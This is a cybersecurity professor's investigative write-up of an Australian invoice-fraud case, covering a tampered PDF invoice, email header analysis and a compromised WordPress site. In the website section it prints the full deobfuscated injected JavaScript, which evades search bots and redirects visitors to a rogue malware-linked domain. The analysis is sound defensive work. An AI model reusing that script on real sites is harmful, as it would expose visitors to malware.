An invoice fraud scam investigation
Paul Haskell-Dowland
Professor of Cyber Security Practice at Edith Cowan University
This write up is a behind-the-scenes view of the brief investigation conducted in support of the recent ABC news article on invoice fraud. Although the news article mentions specific companies, this discussion will not identify those involved. It should be noted that the items examined were provided by the affected parties and the conclusions are based on that evidence alone.
In May 2020, a Melbourne concreting company invoiced a building company for $51,000. A routine business transaction that could leave the builders over $100K out of pocket.
The invoice was prepared (using Excel, then saved as a PDF), emailed to the customer, and was followed up days later when the invoice was not paid. In between, the invoice had been modified and the money paid into a bank account where the monies had promptly been transferred overseas.
Although the police were involved in the criminal investigation, a colleague was approached by the ABC to provide a limited, independent examination (subsequently involving me). The first step was to examine the emails and invoice attachments with the ABC obtaining copies of the sender and recipient emails. This article then explores the builder's website before considering the sequence of events – this article provides greater detail than possible in the ABC news segment for anyone interested.
Examining the emails.
Attached to each email was a PDF invoice. The two invoices were identical other than the modified bank details. The PDF document properties showed that the fraudulent version was modified almost two hours after the original was created. The PDF was altered using the sejda.com website (a site offering free, fully on-line, anonymous PDF editing tools). It can be concluded that the PDF was manually uploaded to the sejda.com website and modified before being downloaded and subsequently sent to the recipient by the perpetrator.
Invoice on the left with bank details highlighted, document properties on the right highlighting the timestamps and editing application
In examining the two emails, the body of the message was unchanged, but there was a notable difference in the timestamps (as would be expected given we knew the PDF was modified). The original email was sent in the late afternoon of the 8th May (17:43), but the email received by the builders arrived some 14 hours later (07:32 on the 9th May). As this could be an issue with mail relays (and timestamps cannot be relied upon), the headers were examined in more detail.
The headers of the received email showed that the message was sent at 07:13 on the 9th May. When combined with other information in the headers, this indicated that the sent email was not the same as that received by the building company.
When reviewing the route taken by the fraudulent email, it appears to originate from an IP address located in Australia (shown above). However, the IP address is a known Private Internet Access (PIA) VPN exit point (as documented by SPUR) – the person sending the email possibly using a VPN to avoid being traced. The email appears to have been created manually through a webmail interface with the fraudulent invoice attached before being sent. We can therefore conclude that the perpetrator had the ability to intercept and remove the original email at some point in its journey before replicating it manually with the new invoice.
Once processed by the webmail interface, the email progressed through a series of servers initially in Singapore before arriving in Australia and routing to the recipients’ mail server.
The table above shows the servers through which the email traversed with the timestamps and the location of each server.
The headers of previous (genuine) emails between the two companies showed a route entirely within Australia (though these can change over time). These legitimate emails also used DKIM - a feature missing in the fraudulent invoice email. This is again pointing to email compromise.
Potential scenario
Without the ability to examine the systems of both the sender and recipient (to rule out local malware or modified configurations) it is only possible to hypothesise on the likely cause. While interception in transit (or modification of sending/receiving servers in mail clients) is a potential mechanism, it is more likely that the perpetrator downloaded the original email from the mailbox of the recipient and then deleted it from the server before generating and sending a duplicate with the new invoice.
This may still have involved malware (that captured credentials for the mailbox) but could also be a result of credential stuffing or a brute-force attack.
While investigating the probable cause, the websites of the two parties were examined and are considered in the next section.
Examining the website
While both sites had no obvious issues, after the builders’ website had loaded the browser appears to attempt to load additional content after around 20 seconds. By examining network traffic, it was observed that there was an additional request to an external website. This required examination of the web page content.
Looking at the web page a section of JavaScript was worthy of further inspection as it clearly used obfuscation to hide the purpose of the code.
The script used the JavaScript fromCharCode function to interpret numeric representations of characters that hides the underlying code which is then executed (noting each character is further hidden through representation as a sum – e.g., ‘131-9’). To examine the code hidden in the numeric representation an on-line utility was used.
The lower section shows the output from the fromCharCode function
The translated code is further obfuscated requiring a bit-wise exclusive-OR (XOR) operation using a key to decrypt the code which is again automatically executed by the browser.
The lower section shows the final code (twice obfuscated). Below, the full, final code.
(function asd() { var w_location = 'https://vyhub.com/css/css/'; var cookie = 'yYjra4PCc8kmBHess1ib'; function start() { var cookies = document.cookie || ''; if (cookies.indexOf(cookie) !== -1) { return; } if (cookies.indexOf('wp-settings') !== -1) { return; } if (localStorage.getItem(cookie) === '1') { return; } var uagent = navigator.userAgent; if (!uagent) { return; } uagent = uagent.toLowerCase(); if (uagent.indexOf('google') !== -1 || uagent.indexOf('bot') !== -1 || uagent.indexOf('crawl') !== -1 || uagent.indexOf('bing') !== -1 || uagent.indexOf('yahoo') !== -1) { return; } setTimeout(function() { setCookie(cookie, '123', 730); localStorage.setItem(cookie, '1'); window.location = w_location; }, 20 * 1000); } function setCookie(c_name, value, exdays) { var exdate = new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString()); document.cookie = c_name + '=' + c_value; } var readyStateCheckInterval = setInterval(function() { if (document.readyState === 'complete' || document.readyState == 'interactive') { clearInterval(readyStateCheckInterval); start(); } }, 10);
}());
Examining the code reveals a few checks to ignore bots (e.g., Google, Bing, and Yahoo search engines) before creating a specific cookie and redirecting the browser to a new domain.
A quick search for the rogue domain (https://vyhub.com/css/css/) revealed this has been seen previously with a summary provided on the asecure.me website and various mentions in discussion forums (e.g. StackExchange). Although the website no longer seems to be functioning, there are historic records available showing that this specific URL has previously been identified as potentially hosting malware.
Further searching also reveals many websites where the obfuscated code is visible in the web page itself. As many of the sites (including that of the builder) seem to be based around the WordPress Content Management System (CMS) this may point to the website compromise being a targeted WordPress attack. This could have been deployed through an established vulnerability, or through compromised or leaked administrator credentials. The website in question was running WordPress v4.2.28 while the most recent version available for that major version was v4.9.15 (at the time of the investigation) with v5.5 also available. No specific vulnerabilities were know for the installed version, but it was also not possible to determine how long ago the site had been compromised.
Google search results for websites incorrectly compromised
Conclusions
The evidence collected points to various possibilities. The website compromise may be unrelated and a pure coincidence, but it is not unreasonable to contemplate that the vyhub domain may have deployed malware to the systems of those involved prior to the incident, malware that may then have exposed access to the email accounts. Alternatively, passwords to the email accounts may have been captured, stolen or acquired through previous breaches.
The cause is of less concern to the companies involved than the damage caused – SMEs will often struggle to survive such a significant fiscal impact.
Preventative measures would include good password practice (unique complex passwords for each system/service), up to date internet security tools and careful use of website CMS’ such as WordPress (maintaining an up-to-date CMS version and an appropriate backup strategy). To protect against invoice fraud, companies may wish to consider not putting account details on invoices, inviting customers to use an out-of-band communication medium to confirm payment details (an approach now adopted by the companies involved).
This article has not considered the role of the banks – in this case an account had been fraudulently opened (or at least operated) by cyber criminals who rapidly moved the funds offshore. Clearly there is a need for improved safeguards in the banking sector and better mechanisms for cross-border policing (with Interpol only likely to become engaged in higher profile cases). Perhaps it is time for a dedicated task force with the authority and resources to fully investigate and prosecute such crimes – even when of relatively low value compared to some larger cases.
Managing Director at Moncrieff
3 年A great article Paul and thanks for putting a spotlight on this issue. I recently highlighted this issue in security training to a client. My advice was to ring a company to confirm new or changed bank account details. It is a policy in Moncrieff to verbally confirm bank details.